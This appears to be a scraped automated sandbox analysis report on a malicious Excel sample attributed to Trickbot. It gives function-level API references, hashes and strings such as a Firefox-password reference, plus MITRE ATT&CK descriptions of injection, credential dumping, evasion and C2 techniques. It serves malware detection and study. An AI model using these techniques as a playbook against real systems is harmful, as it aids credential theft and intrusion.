Function 000000018007554C, Relevance: 7.9, APIs: 5, Instructions: 400COMMON

Download Yara Rule

APIs

_cwprintf_s_l.LIBCMT ref: 000000018007559C
_cwprintf_s_l.LIBCMT ref: 00000001800755BF

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _cwprintf_s_l
String ID:
API String ID: 2941638530-0
Opcode ID: 8069c3ef0781f3aed26423a11dd88ca523f8f333cfc7adc7f037a27d6e0b31c7
Instruction ID: af14a8e25e7c28e71d17bdd34ab5ce9c7a8173f319f423bd34413378435ce64b
Opcode Fuzzy Hash: 8069c3ef0781f3aed26423a11dd88ca523f8f333cfc7adc7f037a27d6e0b31c7
Instruction Fuzzy Hash: A3C1D030218F4C8FE79ADB18D4817E9B7E1FB5D341F10425EE4CAC7292DE65994A8782

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800CA7C8, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 215COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00000001800CA7EB

Part of subcall function 00000001800C9D94: _invalid_parameter_noinfo.LIBCMT ref: 00000001800C9DA8

_get_daylight.LIBCMT ref: 00000001800CA7FC

Part of subcall function 00000001800C9D34: _invalid_parameter_noinfo.LIBCMT ref: 00000001800C9D48

_get_daylight.LIBCMT ref: 00000001800CA80D

Part of subcall function 00000001800C9D64: _invalid_parameter_noinfo.LIBCMT ref: 00000001800C9D78

Strings

?, xrefs: 00000001800CA909

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _get_daylight_invalid_parameter_noinfo
String ID: ?
API String ID: 474895018-1684325040
Opcode ID: 22aadabac9b8c8be549f064d9b0ffdc83f9d283e32b1bf69aaf11d2e3fae2db7
Instruction ID: 9090838677dc31a35fb9d6e7fcfcfdb991846cdd7ae408f63ca4cebb9b7e947c
Opcode Fuzzy Hash: 22aadabac9b8c8be549f064d9b0ffdc83f9d283e32b1bf69aaf11d2e3fae2db7
Instruction Fuzzy Hash: 8371933151874C8FEB96EF28D8857EA77E4FB4D394F44822AF44AC3191DF348A498B81

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800D2AA4, Relevance: 6.3, APIs: 4, Instructions: 311COMMON

Download Yara Rule

APIs

TranslateName.LIBCMT ref: 00000001800D2B0E

Part of subcall function 00000001800C9624: try_get_function.LIBVCRUNTIME ref: 00000001800C965D

TranslateName.LIBCMT ref: 00000001800D2B49
wcschr.LIBVCRUNTIME ref: 00000001800D2C4C
wcschr.LIBVCRUNTIME ref: 00000001800D2C5C

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: NameTranslatewcschr$try_get_function
String ID:
API String ID: 2199492356-0
Opcode ID: 141d3431e524eeac7071c513418fd62f8b128cf4e3706096e4a046d61d868c06
Instruction ID: 66c1b05bec2385f6f71adb12b5738816476c5d1aa76977ed67216a5ec58c5dff
Opcode Fuzzy Hash: 141d3431e524eeac7071c513418fd62f8b128cf4e3706096e4a046d61d868c06
Instruction Fuzzy Hash: BEA18430214A0D4FE7A6EF1894427ED73D1FB6C341F11866AB84AC71D2DF78DA498792

Uniqueness

Uniqueness Score: -1.00%

Function 000000018009A510, Relevance: 6.3, APIs: 4, Instructions: 265COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018009A6D9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018009A6DF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018009A6E5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018009A6EB

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: ba1e8d79e4bccffe9ef7a46d609ed9072b59efda371744fd65e234d5e8ee6966
Instruction ID: 4c8b5f257c4d68eda0da56c4a7907eb06610847b72a54582367f9acc74204919
Opcode Fuzzy Hash: ba1e8d79e4bccffe9ef7a46d609ed9072b59efda371744fd65e234d5e8ee6966
Instruction Fuzzy Hash: 76717D30618E0D4BEFA9EF28D4997A9B7E1FB5D340F14855EE449C728ADE30E9448BC1

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800A79AC, Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo.LIBCPMT ref: 00000001800A7A25
_Getcoll.LIBCPMT ref: 00000001800A7A3D
std::_Locinfo::~_Locinfo.LIBCPMT ref: 00000001800A7A52
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800A7AAB

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: Locinfostd::_$GetcollLocinfo::_Locinfo::~__invalid_parameter_noinfo_noreturn
String ID:
API String ID: 591535465-0
Opcode ID: cb334b3048cb285b6290ace30843aedc01df94078eea113642a8175662187d61
Instruction ID: 4ee8ffb15662311a4bc4270f370e343065164964d5c1a39d4fe26695950af7fe
Opcode Fuzzy Hash: cb334b3048cb285b6290ace30843aedc01df94078eea113642a8175662187d61
Instruction Fuzzy Hash: A1315E31614E0C4FE799EF2CC458B9973E0FBAC351F508B69A449C71E2CB749A848781

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000463C, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00000001800B617C

Strings

N, xrefs: 000000018000466D
iKZZEKZZN, xrefs: 0000000180004685

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _onexit
String ID: N$iKZZEKZZN
API String ID: 572287377-1804938921
Opcode ID: 64ce174e996dd8165d87a039a8a047325b7be644cf1c4b5a79a44f6abf77d499
Instruction ID: c25d41fdc985e9411fbdfc4340ca190693e958ee6d1706237371f1d6e1f6b9bf
Opcode Fuzzy Hash: 64ce174e996dd8165d87a039a8a047325b7be644cf1c4b5a79a44f6abf77d499
Instruction Fuzzy Hash: 3D317B20E588CD4AEB0D97B88C193F8BFE5D766306F18D1AED4C6CA292ED7D42068711

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800269C4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

__swprintf_l.LIBCMT ref: 0000000180026A5A
__swprintf_l.LIBCMT ref: 0000000180026A6B

Strings

irefox passwords, xrefs: 0000000180026A65

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: __swprintf_l
String ID: irefox passwords
API String ID: 1488884202-1522678609
Opcode ID: cfff311a21c600a7830a01112c11115a74ac9ca6671601993c59b7b04cb2a2d5
Instruction ID: f11ffd4b0851f7140f2079813f6f85ec5b362731ac7aac72b9c90a3bd91cd14e
Opcode Fuzzy Hash: cfff311a21c600a7830a01112c11115a74ac9ca6671601993c59b7b04cb2a2d5
Instruction Fuzzy Hash: 6621B331614A0D4FE79AEB69D8897B977D5EB9C342F00817FA44AD3271DE24CD058B42

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report SecuriteInfo.com.Exploit.Siggen3.10350.15803.23095

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Trickbot

Yara Overview

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

Function 00181030, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 90
windowtimesleepCOMMON

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre